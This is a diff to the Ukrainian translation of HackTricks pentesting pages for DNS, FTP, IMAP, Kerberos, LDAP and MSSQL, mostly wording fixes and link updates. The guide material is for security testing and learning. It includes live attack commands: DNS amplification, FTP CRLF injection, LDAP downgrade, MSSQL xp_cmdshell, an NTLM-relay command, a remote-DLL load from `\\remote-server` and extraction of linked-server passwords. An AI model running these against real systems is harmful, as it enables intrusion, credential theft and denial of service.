Крім того, інструмент [`fpdns`](https://github.com/kirei/fpdns) також може ідентифікувати сервер.
Також можливо отримати банер за допомогою скрипта **nmap**:
```
@ -40,7 +40,7 @@ dig version.bind CHAOS TXT @DNS
```
### **Будь-який запис**
Запит **ANY** попросить DNS сервер **повернути** всі доступні **входи**, які **він готовий розкрити**.
Запит **ANY** попросить DNS-сервер **повернути** всі доступні **входи**, які **він готовий розкрити**.
```bash
dig any victim.com @<DNS_IP>
```
@ -95,11 +95,11 @@ dnsrecon -r <IP_DNS>/24 -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
```
> [!NOTE]
> Якщо вам вдається знайти піддомени, що відповідають внутрішнім IP-адресам, ви повинні спробувати виконати зворотний DNS BF до NS домену, запитуючи цей діапазон IP.
> Якщо вам вдається знайти піддомени, що відповідають внутрішнім IP-адресам, вам слід спробувати виконати зворотний DNS BF до NS домену, запитуючи цей діапазон IP.
Інший інструмент для цього: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
Ви можете запитувати зворотні IP-діапазони до [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns) (цей інструмент також корисний для BGP).
Ви можете запитувати зворотні IP-діапазони на [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns) (цей інструмент також корисний для BGP).
### DNS - BF піддоменів
```bash
@ -137,11 +137,11 @@ dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns
### DNS Рекурсія DDoS
Якщо **DNS рекурсія увімкнена**, зловмисник може **підробити** **джерело** в UDP-пакеті, щоб змусити **DNS надіслати відповідь на сервер жертви**. Зловмисник може зловживати типами записів **ANY** або **DNSSEC**, оскільки вони зазвичай мають більші відповіді.\
Спосіб **перевірити**, чи підтримує DNS **рекурсію**, полягає в запиті доменного імені та **перевірці**, чи є **прапор "ra"** (_рекурсія доступна_) у відповіді:
Спосіб **перевірити**, чи підтримує DNS **рекурсію**, - це запитати доменне ім'я та **перевірити**, чи є **позначка "ra"** (_рекурсія доступна_) у відповіді:
```bash
dig google.com A @<IP>
```
**Недоступно**:
**Не доступно**:
![](<../images/image (123).png>)
@ -152,12 +152,12 @@ dig google.com A @<IP>
### Лист на неіснуючий акаунт
**Відправка електронного листа на неіснуючу адресу** з домену жертви може спонукати жертву надіслати повідомлення про ненадання (NDN), заголовки якого можуть містити цікаву інформацію, таку як **назви внутрішніх серверів та IP-адреси**.
**Відправка електронного листа на неіснуючу адресу** з домену жертви може спонукати жертву надіслати повідомлення про недоставку (NDN), заголовки якого можуть містити цікаву інформацію, таку як **назви внутрішніх серверів та IP-адреси**.
## Пост-експлуатація
- При перевірці конфігурації сервера Bind перевірте конфігурацію параметра **`allow-transfer`**, оскільки він вказує, хто може виконувати зони передачі, а також **`allow-recursion`** і **`allow-query`**, оскільки вони вказують, хто може надсилати рекурсивні запити та запити до нього.
- Наступні є назвами файлів, пов'язаних з DNS, які можуть бути цікавими для пошуку на машинах:
- Наступні назви файлів, пов'язаних з DNS, можуть бути цікавими для пошуку на машинах:
```
host.conf
/etc/resolv.conf
@ -196,7 +196,7 @@ SERVER {IP}
Domain_Name
exit
https://book.hacktricks.xyz/pentesting/pentesting-dns
https://book.hacktricks.wiki/en/todo/pentesting-dns.html
Entry_2:
Name: Banner Grab

View File

@ -16,9 +16,9 @@ PORT STATE SERVICE
В **Активному FTP** FTP **клієнт** спочатку **ініціює** контрольне **з'єднання** з порту N до командного порту FTP сервера порту 21. Потім **клієнт** **прослуховує** порт **N+1** і надсилає порт N+1 на FTP сервер. FTP **сервер** потім **ініціює** з'єднання для передачі даних, з **його порту M до порту N+1** FTP клієнта.
Але, якщо у FTP клієнта налаштований брандмауер, який контролює вхідні з'єднання для передачі даних ззовні, тоді активний FTP може бути проблемою. І, доцільним рішенням для цього є Пасивний FTP.
Але, якщо у FTP клієнта налаштований брандмауер, який контролює вхідні з'єднання для передачі даних ззовні, то активний FTP може бути проблемою. І, доцільним рішенням для цього є Пасивний FTP.
В **Пасивному FTP** клієнт ініціює контрольне з'єднання з порту N до порту 21 FTP сервера. Після цього клієнт видає **команду passv**. Сервер потім надсилає клієнту один з його номерів порту M. І **клієнт** **ініціює** з'єднання для передачі даних з **його порту P до порту M** FTP сервера.
В **Пасивному FTP** клієнт ініціює контрольне з'єднання з порту N до порту 21 FTP сервера. Після цього клієнт видає **команду passv**. Сервер потім надсилає клієнту один зі своїх номерів порту M. І **клієнт** **ініціює** з'єднання для передачі даних з **його порту P до порту M** FTP сервера.
Джерело: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
@ -115,7 +115,7 @@ nmap --script ftp-* -p 21 <ip>
```bash
ftp://anonymous:anonymous@10.10.10.98
```
Зверніть увагу, що якщо **веб-додаток** надсилає дані, контрольовані користувачем, **безпосередньо на FTP-сервер**, ви можете надіслати подвоєне URL-кодування `%0d%0a` (в подвоєному URL-кодуванні це `%250d%250a`) байти і змусити **FTP-сервер виконувати довільні дії**. Однією з цих можливих довільних дій є завантаження вмісту з сервера, контрольованого користувачем, виконання сканування портів або спроба зв'язатися з іншими сервісами на основі простого тексту (наприклад, http).
Зверніть увагу, що якщо **веб-додаток** надсилає дані, контрольовані користувачем, **безпосередньо на FTP-сервер**, ви можете надіслати подвоєне URL-кодування `%0d%0a` (в подвоєному URL-кодуванні це `%250d%250a`) байти і змусити **FTP-сервер виконувати довільні дії**. Однією з можливих довільних дій є завантаження вмісту з сервера, контрольованого користувачем, виконання сканування портів або спроба зв'язатися з іншими сервісами на основі простого тексту (наприклад, http).
## Завантажити всі файли з FTP
```bash
@ -131,7 +131,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
- **`USER username`**
- **`PASS password`**
- **`HELP`** Сервер вказує, які команди підтримуються
- **`PORT 127,0,0,1,0,80`** Це вказує FTP серверу встановити з'єднання з IP 127.0.0.1 на порту 80 (_необхідно вказати 5-й символ як "0", а 6-й як порт у десятковій системі або використати 5-й і 6-й для вираження порту в шістнадцятковій системі_).
- **`PORT 127,0,0,1,0,80`** Це вказує FTP серверу встановити з'єднання з IP 127.0.0.1 на порту 80 (_вам потрібно вказати 5-й символ як "0", а 6-й як порт у десятковій системі або використати 5-й і 6-й для вираження порту в шістнадцятковій системі_).
- **`EPRT |2|127.0.0.1|80|`** Це вказує FTP серверу встановити TCP з'єднання (_вказане "2"_) з IP 127.0.0.1 на порту 80. Ця команда **підтримує IPv6**.
- **`LIST`** Це надішле список файлів у поточній папці
- **`LIST -R`** Список рекурсивно (якщо дозволено сервером)
@ -175,7 +175,7 @@ posts.txt
## Уразливість сервера Filezilla
**FileZilla** зазвичай **прив'язується** до **локального** **адміністративного сервісу** для **FileZilla-Server** (порт 14147). Якщо ви можете створити **тунель** з **вашого комп'ютера** для доступу до цього порту, ви можете **підключитися** до **нього** за допомогою **порожнього пароля** і **створити** **нового користувача** для FTP служби.
**FileZilla** зазвичай **прив'язується** до **локального** **Адміністративного сервісу** для **FileZilla-Server** (порт 14147). Якщо ви можете створити **тунель** з **вашого комп'ютера** для доступу до цього порту, ви можете **підключитися** до **нього** за допомогою **порожнього пароля** і **створити** **нового користувача** для FTP служби.
## Конфігураційні файли
```
@ -222,7 +222,7 @@ wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled
https://book.hacktricks.xyz/pentesting/pentesting-ftp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html
Entry_2:
Name: Banner Grab

View File

@ -6,7 +6,7 @@
**Протокол доступу до Інтернет-повідомлень (IMAP)** призначений для того, щоб дозволити користувачам **отримувати доступ до своїх електронних листів з будь-якого місця**, в основному через Інтернет-з'єднання. По суті, електронні листи **зберігаються на сервері**, а не завантажуються та зберігаються на особистому пристрої. Це означає, що коли електронний лист відкривається або читається, це відбувається **безпосередньо з сервера**. Ця можливість забезпечує зручність перевірки електронної пошти з **декількох пристроїв**, гарантуючи, що жодне повідомлення не буде пропущено, незалежно від використаного пристрою.
За замовчуванням, протокол IMAP працює на двох портах:
За замовчуванням протокол IMAP працює на двох портах:
- **Порт 143** - це стандартний незахищений порт IMAP
- **Порт 993** - це порт, який потрібно використовувати, якщо ви хочете підключитися за допомогою IMAP безпечно
@ -91,9 +91,9 @@ apt install evolution
### CURL
Основна навігація можлива з [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), але документація містить мало деталей, тому рекомендується перевірити [джерело](https://github.com/curl/curl/blob/master/lib/imap.c) для точних деталей.
Основна навігація можлива з [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), але документація містить мало деталей, тому рекомендується перевірити [джерело](https://github.com/curl/curl/blob/master/lib/imap.c) для точних відомостей.
1. Перелік поштових скриньок (imap команда `LIST "" "*"`)
1. Перегляд поштових скриньок (imap команда `LIST "" "*"`)
```bash
curl -k 'imaps://1.2.3.4/' --user user:pass
```
@ -101,19 +101,19 @@ curl -k 'imaps://1.2.3.4/' --user user:pass
```bash
curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
```
Результатом цього пошуку є список індексів повідомлень.
Результат цього пошуку - це список індексів повідомлень.
Також можливо надавати більш складні пошукові запити. Наприклад, шукати чернетки з паролем у тілі листа:
```bash
curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
```
Добре структурований огляд можливих пошукових термінів знаходиться [тут](https://www.atmail.com/blog/imap-commands/).
Добрий огляд можливих пошукових термінів знаходиться [here](https://www.atmail.com/blog/imap-commands/).
3. Завантаження повідомлення (imap команда `SELECT Drafts`, а потім `FETCH 1 BODY[]`)
3. Завантаження повідомлення (imap команда `SELECT Drafts` і потім `FETCH 1 BODY[]`)
```bash
curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
```
Індекс пошти буде тим самим індексом, який повертається з операції пошуку.
Індекс пошти буде таким же індексом, який повертається з операції пошуку.
Також можливо використовувати `UID` (унікальний ідентифікатор) для доступу до повідомлень, однак це менш зручно, оскільки команду пошуку потрібно форматувати вручну. Наприклад,
```bash
@ -148,7 +148,7 @@ Description: Notes for WHOIS
Note: |
The Internet Message Access Protocol (IMAP) is designed for the purpose of enabling users to access their email messages from any location, primarily through an Internet connection. In essence, emails are retained on a server rather than being downloaded and stored on an individual's personal device. This means that when an email is accessed or read, it is done directly from the server. This capability allows for the convenience of checking emails from multiple devices, ensuring that no messages are missed regardless of the device used.
https://book.hacktricks.xyz/pentesting/pentesting-imap
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-imap.html
Entry_2:
Name: Banner Grab

View File

@ -6,7 +6,7 @@
**Kerberos** працює за принципом, де він аутентифікує користувачів, не керуючи безпосередньо їх доступом до ресурсів. Це важливе розрізнення, оскільки воно підкреслює роль протоколу в рамках безпеки.
У таких середовищах, як **Active Directory**, **Kerberos** відіграє важливу роль у встановленні особи користувачів, перевіряючи їхні секретні паролі. Цей процес забезпечує підтвердження особи кожного користувача перед тим, як вони взаємодіють з мережевими ресурсами. Однак **Kerberos** не розширює свою функціональність для оцінки або забезпечення прав доступу, які має користувач до конкретних ресурсів або послуг. Натомість він забезпечує безпечний спосіб аутентифікації користувачів, що є критично важливим першим кроком у процесі безпеки.
У таких середовищах, як **Active Directory**, **Kerberos** відіграє важливу роль у встановленні особи користувачів, перевіряючи їхні секретні паролі. Цей процес забезпечує підтвердження особи кожного користувача перед тим, як вони взаємодіють з мережевими ресурсами. Однак **Kerberos** не розширює свою функціональність для оцінки або забезпечення дозволів, які має користувач на конкретні ресурси або послуги. Натомість він забезпечує безпечний спосіб аутентифікації користувачів, що є критично важливим першим кроком у процесі безпеки.
Після аутентифікації за допомогою **Kerberos** процес прийняття рішень щодо доступу до ресурсів делегується окремим службам у мережі. Ці служби потім відповідають за оцінку прав і дозволів аутентифікованого користувача на основі інформації, наданої **Kerberos** про привілеї користувача. Такий дизайн дозволяє розділити обов'язки між аутентифікацією особи користувачів і управлінням їх правами доступу, що забезпечує більш гнучкий і безпечний підхід до управління ресурсами в розподілених мережах.
@ -25,7 +25,7 @@ PORT STATE SERVICE
### MS14-068
Уразливість MS14-068 дозволяє зловмиснику підробити токен входу Kerberos легітимного користувача, щоб неправомірно заявити про підвищені привілеї, такі як бути адміністратором домену. Ця підроблена вимога помилково підтверджується контролером домену, що дозволяє несанкціонований доступ до мережевих ресурсів у лісі Active Directory.
Уразливість MS14-068 дозволяє зловмиснику підробити токен входу Kerberos легітимного користувача, щоб неправомірно заявити про підвищені привілеї, такі як бути адміністратором домену. Ця підроблена заява помилково підтверджується контролером домену, що дозволяє несанкціонований доступ до мережевих ресурсів у лісі Active Directory.
{{#ref}}
https://adsecurity.org/?p=541
@ -46,7 +46,7 @@ Note: |
Kerberos operates on a principle where it authenticates users without directly managing their access to resources. This is an important distinction because it underlines the protocol's role in security frameworks.
In environments like **Active Directory**, Kerberos is instrumental in establishing the identity of users by validating their secret passwords. This process ensures that each user's identity is confirmed before they interact with network resources. However, Kerberos does not extend its functionality to evaluate or enforce the permissions a user has over specific resources or services. Instead, it provides a secure way of authenticating users, which is a critical first step in the security process.
https://book.hacktricks.xyz/pentesting/pentesting-kerberos-88
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-kerberos-88/index.html
Entry_2:
Name: Pre-Creds

View File

@ -4,11 +4,11 @@
Використання **LDAP** (Протокол легкого доступу до каталогів) в основному призначене для знаходження різних сутностей, таких як організації, особи та ресурси, такі як файли та пристрої в мережах, як публічних, так і приватних. Він пропонує спрощений підхід у порівнянні зі своїм попередником, DAP, завдяки меншому обсягу коду.
Каталоги LDAP структуровані так, щоб дозволити їх розподіл на кількох серверах, при цьому кожен сервер містить **репліковану** та **синхронізовану** версію каталогу, що називається Агента системи каталогів (DSA). Відповідальність за обробку запитів повністю лежить на сервері LDAP, який може спілкуватися з іншими DSA за потреби, щоб надати єдину відповідь запитувачу.
Каталоги LDAP структуровані так, щоб дозволити їх розподіл на кількох серверах, при цьому кожен сервер містить **репліковану** та **синхронізовану** версію каталогу, що називається Агентом системи каталогів (DSA). Відповідальність за обробку запитів повністю лежить на сервері LDAP, який може спілкуватися з іншими DSA за потреби, щоб надати єдину відповідь запитувачу.
Організація каталогу LDAP нагадує **деревоподібну ієрархію, починаючи з кореневого каталогу вгорі**. Це розгалужується на країни, які далі діляться на організації, а потім на організаційні одиниці, що представляють різні підрозділи або департаменти, нарешті досягаючи рівня окремих сутностей, включаючи як людей, так і спільні ресурси, такі як файли та принтери.
**Порт за замовчуванням:** 389 та 636 (ldaps). Глобальний каталог (LDAP в ActiveDirectory) доступний за замовчуванням на портах 3268 та 3269 для LDAPS.
**Порт за замовчуванням:** 389 та 636(ldaps). Глобальний каталог (LDAP в ActiveDirectory) доступний за замовчуванням на портах 3268 та 3269 для LDAPS.
```
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
@ -48,7 +48,7 @@ phone: 23627387495
- Рядки 1-3 визначають домен верхнього рівня local
- Рядки 5-8 визначають домен першого рівня moneycorp (moneycorp.local)
- Рядки 10-16 визначають 2 організаційні одиниці: dev та sales
- Рядки 18-26 створюють об'єкт домену та призначають атрибути з значеннями
- Рядки 18-26 створюють об'єкт домену та призначають атрибути зі значеннями
## Запис даних
@ -68,22 +68,22 @@ u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
Якщо LDAP використовується без SSL, ви можете **перехопити облікові дані у відкритому тексті** в мережі.
Також ви можете виконати **MITM** атаку в мережі **між LDAP сервером і клієнтом.** Тут ви можете здійснити **Атаку з пониженням**, щоб клієнт використовував **облікові дані у відкритому тексті** для входу.
Також ви можете виконати **MITM** атаку в мережі **між LDAP сервером і клієнтом.** Тут ви можете здійснити **Атаку з пониженням** так, щоб клієнт використовував **облікові дані у відкритому тексті** для входу.
**Якщо використовується SSL**, ви можете спробувати здійснити **MITM**, як згадувалося вище, але запропонувавши **помилковий сертифікат**. Якщо **користувач його прийме**, ви зможете понизити метод аутентифікації і знову побачити облікові дані.
**Якщо використовується SSL**, ви можете спробувати здійснити **MITM** як зазначено вище, але запропонувавши **помилковий сертифікат**, якщо **користувач його прийме**, ви зможете понизити метод аутентифікації і знову побачити облікові дані.
## Анонімний доступ
### Обхід перевірки TLS SNI
Згідно з [**цією статтею**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/), просто отримавши доступ до LDAP сервера з довільним доменним ім'ям (наприклад, company.com), він зміг зв'язатися з LDAP сервісом і витягти інформацію як анонімний користувач:
Згідно з [**цією статтею**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) просто отримавши доступ до LDAP сервера з довільним доменним ім'ям (наприклад, company.com), він зміг зв'язатися з LDAP сервісом і витягти інформацію як анонімний користувач:
```bash
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
```
### LDAP анонімні зв'язки
[LDAP анонімні зв'язки](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) дозволяють **неаутентифікованим атакам** отримувати інформацію з домену, таку як повний список користувачів, груп, комп'ютерів, атрибутів облікових записів користувачів та політики паролів домену. Це **спадкова конфігурація**, і починаючи з Windows Server 2003, лише аутентифікованим користувачам дозволено ініціювати LDAP запити.\
Однак адміністратори могли налаштувати **конкретний додаток для дозволу анонімних зв'язків** і надати більше доступу, ніж планувалося, тим самим надаючи неаутентифікованим користувачам доступ до всіх об'єктів в AD.
[LDAP анонімні зв'язки](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) дозволяють **неавтентифікованим атакам** отримувати інформацію з домену, таку як повний список користувачів, груп, комп'ютерів, атрибутів облікових записів користувачів та політики паролів домену. Це **спадкова конфігурація**, і починаючи з Windows Server 2003, лише автентифіковані користувачі можуть ініціювати LDAP запити.\
Однак адміністратори могли налаштувати **конкретний додаток для дозволу анонімних зв'язків** і надати більше доступу, ніж планувалося, тим самим надаючи неавтентифікованим користувачам доступ до всіх об'єктів в AD.
## Дійсні облікові дані
@ -108,7 +108,7 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
<details>
<summary>Дивитися LDAP перерахування з python</summary>
<summary>Дивитися перерахування LDAP з python</summary>
Ви можете спробувати **перерахувати LDAP з або без облікових даних, використовуючи python**: `pip3 install ldap3`
@ -129,13 +129,13 @@ Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
```
Якщо у вас є контекст іменування, ви можете виконати деякі більш цікаві запити. Цей простий запит має показати вам всі об'єкти в каталозі:
Якщо у вас є контекст іменування, ви можете виконати деякі більш цікаві запити. Цей простий запит має показати вам усі об'єкти в каталозі:
```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
```
Або **вивантажити** весь ldap:
Або **dump** увесь ldap:
```bash
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
@ -160,7 +160,7 @@ python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --p
```
### ldapsearch
Перевірте порожні облікові дані або чи ваші облікові дані дійсні:
Перевірте порожні облікові дані або чи є ваші облікові дані дійсними:
```bash
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
@ -201,7 +201,7 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Витягти **Domain Users**:
Витягти **Користувачів домену**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
@ -290,7 +290,7 @@ Godap - це інтерактивний термінальний інтерфе
![](../images/godap.png)
Ви можете отримати доступ до нього за адресою [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Для прикладів використання та інструкцій прочитайте [Wiki](https://github.com/Macmod/godap/wiki).
Ви можете отримати доступ до нього за адресою [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Для прикладів використання та інструкцій читайте [Wiki](https://github.com/Macmod/godap/wiki).
### Ldapx
@ -322,9 +322,9 @@ cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
- ldap-config.xml
- ldap-realm.xml
- slapd.conf
- IBM SecureWay V3 сервер
- IBM SecureWay V3 server
- V3.sas.oc
- Microsoft Active Directory сервер
- Microsoft Active Directory server
- msadClassesAttrs.ldif
- Netscape Directory Server 4
- nsslapd.sas_at.conf
@ -347,7 +347,7 @@ Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.xyz/pentesting/pentesting-ldap
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html
Entry_2:
Name: Banner Grab

View File

@ -6,7 +6,7 @@
З [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
> **Microsoft SQL Server** є **системою управління реляційними базами даних**, розробленою компанією Microsoft. Як сервер бази даних, це програмний продукт з основною функцією зберігання та отримання даних за запитом інших програмних додатків, які можуть працювати як на тому ж комп'ютері, так і на іншому комп'ютері через мережу (включаючи Інтернет).
> **Microsoft SQL Server** є **системою управління реляційними базами даних**, розробленою компанією Microsoft. Як сервер бази даних, це програмний продукт з основною функцією зберігання та отримання даних за запитом інших програмних додатків, які можуть працювати як на одному комп'ютері, так і на іншому комп'ютері через мережу (включаючи Інтернет).
**Порт за замовчуванням:** 1433
```
@ -155,14 +155,14 @@ SELECT * FROM sysusers
```
#### Отримання дозволів
1. **Securable:** Визначається як ресурси, які управляються SQL Server для контролю доступу. Вони класифікуються на:
1. **Securable:** Визначається як ресурси, які керуються SQL Server для контролю доступу. Вони класифікуються на:
- **Сервер** Приклади включають бази даних, логіни, кінцеві точки, групи доступності та серверні ролі.
- **База даних** Приклади охоплюють роль бази даних, ролі додатків, схеми, сертифікати, каталоги повнотекстового пошуку та користувачів.
- **Схема** Включає таблиці, подання, процедури, функції, синоніми тощо.
2. **Permission:** Ассоціюється з SQL Server securables, дозволи, такі як ALTER, CONTROL та CREATE можуть бути надані принципалу. Управління дозволами відбувається на двох рівнях:
- **Рівень сервера** за допомогою логінів
- **Рівень бази даних** за допомогою користувачів
3. **Principal:** Цей термін відноситься до сутності, якій надано дозвіл на securable. Принципали в основному включають логіни та користувачів бази даних. Контроль доступу до securables здійснюється шляхом надання або відмови в дозволах або шляхом включення логінів і користувачів у ролі, оснащені правами доступу.
3. **Principal:** Цей термін відноситься до сутності, якій надано дозвіл на доступ до securable. Принципали в основному включають логіни та користувачів бази даних. Контроль доступу до securables здійснюється шляхом надання або відмови в дозволах або шляхом включення логінів і користувачів у ролі, наділені правами доступу.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell'
### Виконання команд ОС
> [!CAUTION]
> Зверніть увагу, що для виконання команд необхідно не лише мати **`xp_cmdshell`** **увімкненим**, але й мати **дозвіл EXECUTE на збережену процедуру `xp_cmdshell`**. Ви можете дізнатися, хто (окрім sysadmins) може використовувати **`xp_cmdshell`** за допомогою:
> Зверніть увагу, що для виконання команд необхідно не лише мати **`xp_cmdshell`** **увімкненим**, але й мати **дозвіл EXECUTE на збережену процедуру `xp_cmdshell`**. Ви можете дізнатися, хто (крім sysadmins) може використовувати **`xp_cmdshell`** за допомогою:
>
> ```sql
> Use master
@ -278,7 +278,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
### Зловживання довіреними посиланнями MSSQL
[**Прочитайте цей пост**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **щоб знайти більше інформації про те, як зловживатися цією функцією:**
[**Прочитайте цей пост**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **щоб знайти більше інформації про те, як зловживати цією функцією:**
{{#ref}}
../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md
@ -286,7 +286,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
### **Запис файлів**
Щоб записати файли за допомогою `MSSQL`, нам **потрібно увімкнути** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), що вимагає адміністративних привілеїв, а потім виконати кілька збережених процедур для створення файлу:
Щоб записати файли за допомогою `MSSQL`, нам **необхідно увімкнути** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), що вимагає адміністративних привілеїв, а потім виконати кілька збережених процедур для створення файлу:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
@ -376,7 +376,7 @@ EXEC sp_helprotect 'xp_regwrite';
### RCE з `autoadmin_task_agents`
Згідно[ **з цим постом**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), також можливо завантажити віддалений dll і змусити MSSQL виконати його за допомогою чогось на кшталт:
Згідно[ **з цим постом**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), також можливо завантажити віддалений dll і змусити MSSQL виконати його за допомогою чогось на зразок:
```sql
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
```
@ -527,31 +527,31 @@ msf> auxiliary/admin/mssql/mssql_escalate_execute_as
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
```
## Використання MSSQL для постійності
## Використання MSSQL для збереження
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
## Витягування паролів з SQL Server Linked Servers
Зловмисник може витягнути паролі SQL Server Linked Servers з SQL Instances і отримати їх у відкритому тексті, надаючи зловмиснику паролі, які можна використовувати для отримання більшого контролю над ціллю. Скрипт для витягування та дешифрування паролів, збережених для Linked Servers, можна знайти [тут](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
Зловмисник може витягнути паролі SQL Server Linked Servers з SQL Instances і отримати їх у відкритому вигляді, надаючи зловмиснику паролі, які можна використовувати для отримання більшого контролю над ціллю. Скрипт для витягування та розшифровки паролів, збережених для Linked Servers, можна знайти [тут](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
Необхідно виконати деякі вимоги та налаштування, щоб цей експлойт працював. По-перше, ви повинні мати права адміністратора на машині або можливість керувати конфігураціями SQL Server.
Для того, щоб цей експлойт працював, необхідно виконати деякі вимоги та налаштування. По-перше, ви повинні мати права адміністратора на машині або можливість керувати конфігураціями SQL Server.
Після перевірки ваших прав вам потрібно налаштувати три речі, а саме:
Після перевірки ваших прав, вам потрібно налаштувати три речі, а саме:
1. Увімкнути TCP/IP на екземплярах SQL Server;
2. Додати параметр запуску, в даному випадку буде додано прапор трасування -T7806.
3. Увімкнути віддалене адміністрування.
Щоб автоматизувати ці налаштування, [цей репозиторій](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) має необхідні скрипти. Окрім наявності скрипта PowerShell для кожного етапу налаштування, репозиторій також має повний скрипт, який об'єднує скрипти конфігурації та витягування і дешифрування паролів.
Щоб автоматизувати ці налаштування, [цей репозиторій](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) має необхідні скрипти. Окрім наявності скрипта PowerShell для кожного етапу налаштування, репозиторій також має повний скрипт, який об'єднує скрипти конфігурації та витягування і розшифровки паролів.
Для отримання додаткової інформації зверніться до наступних посилань щодо цієї атаки: [Дешифрування паролів MSSQL Database Link Server](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
Для отримання додаткової інформації зверніться до наступних посилань щодо цієї атаки: [Розшифровка паролів MSSQL Database Link Server](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[Усунення неполадок з підключенням адміністратора SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
## Підвищення локальних привілеїв
Користувач, що запускає сервер MSSQL, матиме увімкнений привілейний токен **SeImpersonatePrivilege.**\
Користувач, що запускає сервер MSSQL, матиме увімкнений привілейований токен **SeImpersonatePrivilege.**\
Ви, ймовірно, зможете **підвищити привілеї до адміністратора**, слідуючи одному з цих 2-х посилань:
{{#ref}}
@ -620,7 +620,7 @@ go
